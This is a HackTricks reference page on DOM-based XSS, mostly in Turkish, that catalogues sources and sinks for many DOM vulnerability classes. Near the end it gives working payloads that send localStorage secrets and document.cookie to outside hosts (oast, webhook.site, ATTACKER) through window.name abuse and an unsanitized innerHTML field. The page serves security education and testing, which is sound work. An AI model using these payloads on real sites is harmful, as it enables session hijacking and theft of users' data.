DOM XSS

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

DOM Zafiyetleri

DOM zafiyetleri, saldırgan tarafından kontrol edilen kaynaklardan (ör. location.search, document.referrer, veya document.cookie gibi) gelen verilerin güvensiz bir şekilde sink’lere aktarılması durumunda ortaya çıkar. Sink’ler, kötü amaçlı veri verildiğinde zararlı içeriği çalıştırabilen veya render edebilen fonksiyonlar veya nesnelerdir (örn. eval(), document.body.innerHTML).

  • Kaynaklar, URL’ler, çerezler ve web mesajları dahil olmak üzere saldırganlar tarafından değiştirilebilen girdilerdir.
  • Sink’ler, kötü amaçlı verinin script çalıştırma gibi olumsuz etkilere yol açabileceği potansiyel olarak tehlikeli uç noktalardır.

Risk, bir kaynaktan bir sink’e doğru veri akışı uygun doğrulama veya temizleme yapılmadan gerçekleştiğinde ortaya çıkar; bu da XSS gibi saldırılara olanak tanır.

Tip

Kaynaklar ve sink’lerin daha güncel bir listesini şuradan bulabilirsiniz https://github.com/wisec/domxsswiki/wiki

Yaygın kaynaklar:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

Bu tür XSS muhtemelen bulması en zor olanıdır; çünkü JS kodunun içine bakmanız, kontrolünüzde olan herhangi bir nesnenin kullanılıp kullanılmadığını görmeniz ve bu durumda rastgele JS çalıştırmak için onu kötüye kullanmanın bir yolu olup olmadığını tespit etmeniz gerekir.

Tools to find them

Örnekler

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

Yönlendirme gerçekleşen URL’nin başlangıcı üzerinde kontrole sahipseniz, javascript:alert(1) gibi rastgele kod çalıştırmanın mümkün olduğunu anlamak önemlidir.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities, bir script’in saldırgan tarafından kontrol edilebilen veriyi bir cookie değerine dahil etmesi durumunda ortaya çıkar. Bu zafiyet, cookie site içinde kullanılıyorsa web sayfasının beklenmeyen davranışlarına yol açabilir. Ayrıca, cookie kullanıcı oturumlarının takibinde kullanılıyorsa session fixation saldırısı gerçekleştirmek için suistimal edilebilir. Bu zafiyetle ilişkili birincil sink şudur:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection zafiyetleri, bir scriptin saldırgan tarafından kontrol edilebilen veriyi JavaScript kodu olarak çalıştırması durumunda oluşur.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Kaynak: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities bir saldırganın kontrol edebileceği verileri kullanarak document.domain özelliğini ayarlayan bir betik çalıştırıldığında ortaya çıkar.

document.domain özelliği tarayıcılar tarafından same-origin policy’nin uygulanmasında anahtar bir rol oynar. Farklı origin’lere sahip iki sayfa document.domain’lerini aynı değere ayarladıklarında, kısıtlama olmadan etkileşimde bulunabilirler. Tarayıcılar document.domain’e atanabilecek değerlere belirli sınırlamalar getirse de, gerçek sayfanın origin’inden tamamen alakasız değerlerin atanmasını engelleyen istisnalar vardır. Genellikle tarayıcılar child veya parent domains kullanımına izin verir.

Sinks:

document.domain

WebSocket-URL poisoning

Kaynak: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning bir script’in bir WebSocket bağlantısı için kontrol edilebilir veriyi hedef URL olarak kullanması durumunda meydana gelir.

Sinks:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

Kaynak: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities bir script’in mevcut sayfa içinde, tıklanabilir bir link veya bir formun gönderim URL’si gibi bir navigasyon hedefine saldırgan tarafından kontrol edilebilen veriyi yazması durumunda ortaya çıkar.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Kaynak: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities bir scriptin XmlHttpRequest nesnesi kullanılarak gönderilen bir Ajax isteğine attacker-controllable data into an Ajax request yazdığı durumlarda ortaya çıkar.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities bir betik filename parametresi olarak saldırgan tarafından kontrol edilebilen veriyi bir dosya işleme API’sine ilettiğinde ortaya çıkar. Bu zafiyet, bir saldırgan tarafından ziyaret edilmesi halinde başka bir kullanıcının tarayıcısının herhangi bir yerel dosyayı açmasına veya yazmasına yol açabilecek bir URL oluşturmak için kullanılabilir.

Sink’ler:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities bir scriptin attacker-controllable data into a client-side SQL query in an unsafe way içermesi durumunda ortaya çıkar.

Sinks:

executeSql()

HTML5-storage manipulation

Kaynak: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities bir script’in saldırgan tarafından kontrol edilebilen verileri web tarayıcısının HTML5 storage’ına (localStorage veya sessionStorage) kaydettiği durumlarda ortaya çıkar. Bu eylem tek başına bir güvenlik açığı olmasa da, uygulama daha sonra kaydedilmiş veriyi okur ve bunu güvensiz şekilde işlerse sorunlu hale gelir. Bu, bir saldırganın depolama mekanizmasını diğer DOM-based attacks (örneğin cross-site scripting ve JavaScript injection) gerçekleştirmek için kullanmasına olanak tanıyabilir.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities bir scriptin attacker-controllable data’yı bir XPath query’ye dahil etmesi durumunda ortaya çıkar.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Kaynak: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities, bir betik saldırgan tarafından kontrol edilebilen veriyi JSON veri yapısı olarak ayrıştırılan ve ardından uygulama tarafından işlenen bir dizeye dahil ettiğinde ortaya çıkar.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: [https://portswigger.net/web-security/dom-based/web-message-manipulation]

Web-message vulnerabilities bir script tarayıcı içinde başka bir belgeye attacker-controllable data as a web message to another document gönderdiğinde ortaya çıkar. An example of vulnerable Web-message manipulation can be found at PortSwigger’s Web Security Academy.

Sinks:

Web message göndermek için kullanılan postMessage() metodu, mesajları alan event listener gelen verileri güvensiz şekilde işlerse zafiyetlere yol açabilir.

DOM-data manipulation

From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation]

DOM-data manipulation vulnerabilities bir script DOM içindeki bir alana attacker-controllable data to a field within the DOM yazdığında ortaya çıkar; bu alan görünür UI veya client-side logic içinde kullanılır. Bu zafiyet, bir saldırganın başka bir kullanıcı tarafından ziyaret edildiğinde client-side UI’nin görünümünü veya davranışını değiştirebilecek bir URL oluşturması için kullanılabilir.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities bir script’in attacker-controllable data unsafely to a problematic platform API geçirmesi durumunda ortaya çıkar. Bu, çağrıldığında kullanıcının bilgisayarının aşırı miktarda CPU veya disk alanı tüketmesine yol açabilecek API’leri içerir. Bu tür zafiyetler, tarayıcının localStorage’a veri kaydetme girişimlerini reddederek sitenin işlevselliğini kısıtlaması veya yoğun çalışan script’leri sonlandırması gibi önemli yan etkilere sahip olabilir.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Örtük global değişkenler ve window.name suistimali

Deklarasyon (var/let/const) olmadan name’e referans vermek window.name’e çözülür. window.name, originler arası gezinmelerde kalıcı olduğundan, bir saldırgan tarayıcı bağlamı adını HTML/JS ile önceden doldurup daha sonra hedef kodunun bunu güvenilir veri olarak render etmesini sağlayabilir:

  • Hedefi kontrolünüzdeki isimlendirilmiş bir bağlamda açın/gezin:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Veya oluşturulmuş bir hedef adı ile window.open’ı yeniden kullanın:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Eğer uygulama daha sonra element.innerHTML = name (veya benzer bir sink) sanitizasyon olmadan çalıştırırsa, saldırgan tarafından kontrol edilen window.name dizesi hedef origin’de yürütülür; bu DOM XSS ve same-origin storage erişimini mümkün kılar.

Admin/automation flows: pre-seeded storage & javascript: navigation

Otomasyon botları (örn. Playwright) genellikle önce bir iç sayfayı ziyaret eder, localStorage/cookies içine secret’ları yerleştirir, sonra kullanıcı tarafından sağlanan URL’lere gider. Bu akıştaki herhangi bir DOM XSS primitive (dahil window.name kötüye kullanımı), önceden yerleştirilen secret’ı exfiltrate edebilir:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Eğer bot scheme’leri kısıtlamıyorsa, bir javascript: URL’si (javascript:fetch(...)) sağlamak yeni bir navigasyon olmadan mevcut origin içinde çalışır ve storage değerlerini doğrudan leak eder.

Template literal innerHTML + kısmi sanitizasyon açıklıkları

Sadece belirli alanları sanitize eden fakat yine de güvensiz bir alanı doğrudan innerHTML içine yerleştiren frontend’ler kolayca istismar edilebilir. Örnek:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

Eğer temizlenmemiş alan sunucu tarafında saklanıyorsa (ör. bug report “details”), payload herhangi bir yetkili liste görüntüleyicisi için stored DOM XSS haline gelir. <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> gibi basit bir payload, bir admin sayfayı açtığında çalışır ve cookies’lerini dışarı aktarır.

When the app explicitly disables SESSION_COOKIE_HTTPONLY (e.g., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random secret_key prevents forging, but theft still works).

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin